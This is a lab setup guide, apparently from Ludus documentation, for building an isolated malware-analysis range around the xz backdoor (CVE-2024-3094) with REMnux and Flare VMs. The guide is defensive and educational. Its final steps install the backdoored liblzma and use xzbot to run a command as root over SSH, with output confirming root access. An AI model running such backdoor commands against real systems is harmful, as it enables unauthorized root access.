references/env-malware-lab.md

GitHub

Malware Lab (xz backdoor)

Deploy a malware analysis lab on Ludus with a Debian 12 server infected with the xz backdoor (CVE-2024-3094), a REMnux VM, and a Flare VM.

Props: Shout out to Andres Freund (@AndresFreundTec) who discovered the backdoor and Anthony Weems (@amlweems) for all the hard work to reverse engineer and create xzbot!

  1. Add the roles we will need to your Ludus server
ludus ansible role add badsectorlabs.ludus_flarevm
ludus ansible role add badsectorlabs.ludus_remnux
ludus ansible role add badsectorlabs.ludus_xz_backdoor
  1. Modify your ludus config to add the appropriate roles to machines.

Feel free to modify as you see fit. Perhaps you only want the Flare VM or only the REMnux VM.

Warning: This badsectorlabs.ludus_xz_backdoor role contains malware (on purpose). While all analysis indicates this is a passive backdoor (i.e. the attacker must actively access it), you should still use caution when dealing with malware. For this reason, we will not add the badsectorlabs.ludus_xz_backdoor to our configuration yet.

ludus:
  - vm_name: "{{ range_id }}-xz-backdoor"
    hostname: "{{ range_id }}-xz-backdoor"
    template: debian-12-x64-server-template
    vlan: 99
    ip_last_octet: 1
    ram_gb: 2
    cpus: 2
    linux: true
    testing:
      snapshot: true
      block_internet: true

  - vm_name: "{{ range_id }}-REMnux"
    hostname: "{{ range_id }}-REMnux"
    template: ubuntu-20.04-x64-server-template
    vlan: 99
    ip_last_octet: 2
    ram_gb: 4
    cpus: 2
    linux: true
    testing:
      snapshot: true
      block_internet: true
    roles:
      - badsectorlabs.ludus_remnux

  - vm_name: "{{ range_id }}-flare"
    hostname: "{{ range_id }}-FLARE"
    template: win11-22h2-x64-enterprise-template
    vlan: 99
    ip_last_octet: 3
    ram_gb: 4
    cpus: 2
    windows:
      install_additional_tools: false
    testing:
      snapshot: true
      block_internet: true
    roles:
      - badsectorlabs.ludus_flarevm

If you would rather use Flare VM or REMnux templates (to speed up deployment of multiple ranges), you can do that by changing out the template values and removing the roles for those VMs. These roles will take a long time to run (hours!). There also may be issues with Windows Defender when running the Flare role on an updated VM. See the Troubleshooting Flare-VM docs for details.

Flare VM and REMnux templates are provided with Ludus but need to be added and built manually.

  1. Set this config and deploy it.

If you don't have the ubuntu-20.04-x64-server-template on your Ludus host, you can add it with the following commands.

git clone https://gitlab.com/badsectorlabs/ludus.git
cd ludus/templates
ludus templates add -d ubuntu-20.04-x64-server
ludus templates build
# Wait for the template to successfully build
# You can watch the logs with `ludus template logs -f`
# Or check the status with `ludus template status` and `ludus templates list`

With the template built, set the config and deploy it.

ludus range config set -f config.yml
ludus range deploy
# Wait for the range to successfully deploy
# You can watch the logs with `ludus range logs -f`
# Or check the status with `ludus range status`
  1. With the range deployed, enter testing mode to snapshot and cut off the internet
ludus testing start
  1. Edit the config to add the xz backdoor to the Debian server.

This will work even with the internet cut off because the ludus host downloads the files and pushes them to the Debian VM.

ludus:
  - vm_name: "{{ range_id }}-xz-backdoor"
    hostname: "{{ range_id }}-xz-backdoor"
    template: debian-12-x64-server-template
    vlan: 10
    ip_last_octet: 1
    ram_gb: 2
    cpus: 2
    linux: true
    testing:
      snapshot: true
      block_internet: true
    roles:
      - badsectorlabs.ludus_xz_backdoor
    role_vars:
      ludus_xz_backdoor_install_xzbot: true
      ludus_xz_backdoor_install_backdoor: true

  - vm_name: "{{ range_id }}-REMnux"
    hostname: "{{ range_id }}-REMnux"
    template: ubuntu-20.04-x64-server-template
    vlan: 99
    ip_last_octet: 2
    ram_gb: 4
    cpus: 2
    linux: true
    testing:
      snapshot: true
      block_internet: true
    roles:
      - badsectorlabs.ludus_remnux

  - vm_name: "{{ range_id }}-flare"
    hostname: "{{ range_id }}-FLARE"
    template: win11-22h2-x64-enterprise-template
    vlan: 99
    ip_last_octet: 3
    ram_gb: 4
    cpus: 2
    windows:
      install_additional_tools: false
    testing:
      snapshot: true
      block_internet: true
    roles:
      - badsectorlabs.ludus_flarevm
  1. Set this config and force deploy it.
ludus range config set -f config.yml --force
ludus range deploy -t user-defined-roles --limit localhost,JD-xz-backdoor --force # Replace "JD" with your userID.
# Wait for the range to successfully deploy
# You can watch the logs with `ludus range logs -f`
# Or check the status with `ludus range status`
  1. Explore the backdoor!

Log into the Debian server (debian:debian) and elevate to root.

sudo su -

Verify that the (patched) backdoored shared object is linked

ls -lart /usr/lib/x86_64-linux-gnu/liblzma.so.5
lrwxrwxrwx 1 root root 39 Apr  4 20:48 /usr/lib/x86_64-linux-gnu/liblzma.so.5 -> /opt/xz_backdoor/liblzma.so.5.6.1.patch

Use the xzbot command to send it a command

xzbot -addr '127.0.0.1:22' -cmd 'id > /tmp/xz'
00000000  00 00 00 1c 73 73 68 2d  72 73 61 2d 63 65 72 74  |....ssh-rsa-cert|
00000010  2d 76 30 31 40 6f 70 65  6e 73 73 68 2e 63 6f 6d  |-v01@openssh.com|
00000020  00 00 00 00 00 00 00 03  01 00 01 00 00 01 01 01  |................|
...
2024/04/04 21:37:12 ssh: handshake failed: EOF

Verify that the command executed as root

cat /tmp/xz
uid=0(root) gid=0(root) groups=0(root)

Use the Flare VM or REMnux VM to pull apart the backdoor shared object with Ghidra or other tools.

When you're done, save any work you want to keep off the VMs and exit testing

ludus testing stop